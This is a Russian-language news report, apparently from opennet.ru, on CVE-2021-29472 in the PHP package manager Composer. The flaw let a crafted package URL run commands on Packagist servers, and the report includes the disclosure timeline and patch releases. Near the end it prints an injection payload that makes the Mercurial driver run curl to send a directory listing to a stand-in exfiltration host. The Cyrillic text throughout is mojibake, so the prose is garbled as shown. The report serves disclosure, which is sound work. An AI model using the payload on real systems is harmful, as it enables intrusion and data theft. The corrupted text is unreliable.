Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ Π² ΠΏΠ°ΠΊΠ΅Ρ‚Π½ΠΎΠΌ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Π΅ Composer, Π΄ΠΎΠΏΡƒΡΠΊΠ°ΡŽΡ‰Π°Ρ ΠΊΠΎΠΌΠΏΡ€ΠΎΠΌΠ΅Ρ‚Π°Ρ†ΠΈΡŽ PHP-рСпозитория Packagist

Π’ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Π΅ зависимостСй Composer выявлСна критичСская ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ (CVE-2021-29472), ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ Π² систСмС ΠΏΡ€ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ ΠΏΠ°ΠΊΠ΅Ρ‚Π° со ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½Π½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ URL, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΠΌ адрСс для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ исходных тСкстов. ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° проявляСтся Π² ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π°Ρ… GitDriver, SvnDriver ΠΈ HgDriver, примСняСмых ΠΏΡ€ΠΈ использовании систСм управлСния исходными тСкстами Git, Subversion ΠΈ Mercurial. Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ устранСна Π² выпусках Composer 1.10.22 ΠΈ 2.0.13.

Особо отмСчаСтся, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π³Π»Π°Π²Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π·Π°Ρ‚Ρ€ΠΎΠ½ΡƒΠ»Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ примСняСмый Π² Composer Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉ ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² Packagist, Π½Π°ΡΡ‡ΠΈΡ‚Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ 306 тысяч ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² Π½Π° языкС PHP ΠΈ СТСмСсячно ΠΎΠ±ΡΠ»ΡƒΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠΉ Π±ΠΎΠ»Π΅Π΅ 1.4 ΠΌΠΈΠ»Π»ΠΈΠ°Ρ€Π΄Π° Π·Π°Π³Ρ€ΡƒΠ·ΠΎΠΊ. Π’ Ρ…ΠΎΠ΄Π΅ экспСримСнта ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, Ρ‡Ρ‚ΠΎ Π² случаС наличия свСдСний ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ΅ Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠ΅ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π½Π°Π΄ инфраструктурой Packagist ΠΈ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚ΠΈΡ‚ΡŒ ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΡΠΎΠΏΡ€ΠΎΠ²ΠΎΠΆΠ΄Π°ΡŽΡ‰ΠΈΡ… ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² Π½Π° сторонний сСрвСр, ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΎΠ²Π°Π² доставку Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² с врСдоносными измСнСниями для подстановки бэкдора Π² процСссС установки зависимостСй.

ΠžΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ для ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ограничиваСтся Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ содСрТимоС composer.json ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ опрСдСляСтся самим ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, Π° ссылки Π½Π° исходныС тСксты ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ ΠΎΠ±Ρ€Π°Ρ‰Π΅Π½ΠΈΠΈ ΠΊ сторонним рСпозиториям, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π·Π°ΡΠ»ΡƒΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠΌ довСрия. Основной ΡƒΠ΄Π°Ρ€ ΠΏΡ€ΠΈΡˆΡ‘Π»ΡΡ Π½Π° Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉ Packagist.org ΠΈ сСрвис Private Packagist, Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ Composer с ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅ΠΉ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Ρ… ΠΎΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ. Π—Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΈ ΠΌΠΎΠ³Π»ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ свой ΠΊΠΎΠ΄ Π½Π° сСрвСрах Packagist размСстив ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½Π½Ρ‹ΠΉ ΠΏΠ°ΠΊΠ΅Ρ‚.

Команда Packagist устранила ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ 12 часов послС поступлСния сообщСния ΠΎΠ± уязвимости. Π˜ΡΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ Π² частном порядкС ΡƒΠ²Π΅Π΄ΠΎΠΌΠΈΠ»ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² Packagist 22 апрСля ΠΈ Π² Ρ‚ΠΎΡ‚ ΠΆΠ΅ дСнь ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π±Ρ‹Π»Π° исправлСна. ΠŸΡƒΠ±Π»ΠΈΡ‡Π½ΠΎΠ΅ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ Composer с устранСниС уязвимости Π±Ρ‹Π»ΠΎ ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π½ΠΎ 27 апрСля, Π° Π΄Π΅Ρ‚Π°Π»ΠΈ Π±Ρ‹Π»ΠΈ раскрыты 28 апрСля. Аудит Π»ΠΎΠ³ΠΎΠ² Π½Π° сСрвСрах Packagist Π½Π΅ выявил связанной с ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒΡŽ ΠΏΠΎΠ΄ΠΎΠ·Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ активности.

ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π²Ρ‹Π·Π²Π°Π½Π° ошибкой Π² ΠΊΠΎΠ΄Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ коррСктности URL Π² ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΌ Ρ„Π°ΠΉΠ»Π΅ composer.json ΠΈ ссылках для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ исходных тСкстов. Ошибка присутствуСт Π² ΠΊΠΎΠ΄Π΅ с ноября 2011 Π³ΠΎΠ΄Π°. Π’ Packagist для ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΊΠΎΠ΄Π° Π±Π΅Π· привязки ΠΊ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ систСмС управлСния исходными тСкстами ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ прослойки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π²Ρ‹Π·ΠΎΠ²Π° «fromShellCommandline» с ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки. НапримСр, для git вызываСтся ΠΊΠΎΠΌΠ°Π½Π΄Π° «git ls-remote —heads $URL», Π³Π΄Π΅ URL ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° «ProcessExecutor::escape($url)», ΡΠΊΡ€Π°Π½ΠΈΡ€ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ опасныС конструкции, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ «$(…)» ΠΈΠ»ΠΈ «`…`».

Π‘ΡƒΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄ ProcessExecutor::escape Π½Π΅ экранировал ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ «—«, Ρ‡Ρ‚ΠΎ позволяло ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π² URL любой Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Π²Ρ‹Π·ΠΎΠ²Π°. ПодобноС экранированиС отсутствовало Π² Π΄Ρ€Π°ΠΉΠ²Π΅Ρ€Π°Ρ… GitDriver.php, SvnDriver.php ΠΈ HgDriver.php. АтакС Ρ‡Π΅Ρ€Π΅Π· GitDriver.php мСшало Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠΌΠ°Π½Π΄Π° «git ls-remote» Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π»Π° ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² послС ΠΏΡƒΡ‚ΠΈ. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΠΉ оказалась Π°Ρ‚Π°ΠΊΠ° Π½Π° HgDriver.php Ρ‡Π΅Ρ€Π΅Π· ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Ρƒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° «—config» ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Π΅ «hq», ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π΅Π³ΠΎ ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ любой ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ Ρ‡Π΅Ρ€Π΅Π· ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΡΡ†ΠΈΡŽ с настройкой «alias.identify». НапримСр, для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΈ выполнСния ΠΊΠΎΠ΄Π° Ρ‡Π΅Ρ€Π΅Π· запуск ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Ρ‹ curl ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

РазмСстив Π² Packagist тСстовый ΠΏΠ°ΠΊΠ΅Ρ‚ с ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΌ URL, исслСдоватСли ΡƒΠ±Π΅Π΄ΠΈΠ»ΠΈΡΡŒ, Ρ‡Ρ‚ΠΎ послС размСщСния Π½Π° ΠΈΡ… сСрвСр поступил HTTP-запрос с ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· сСрвСров Packagist Π² AWS, содСрТащий листинг Ρ„Π°ΠΉΠ»ΠΎΠ² Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅.

Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊ: opennet.ru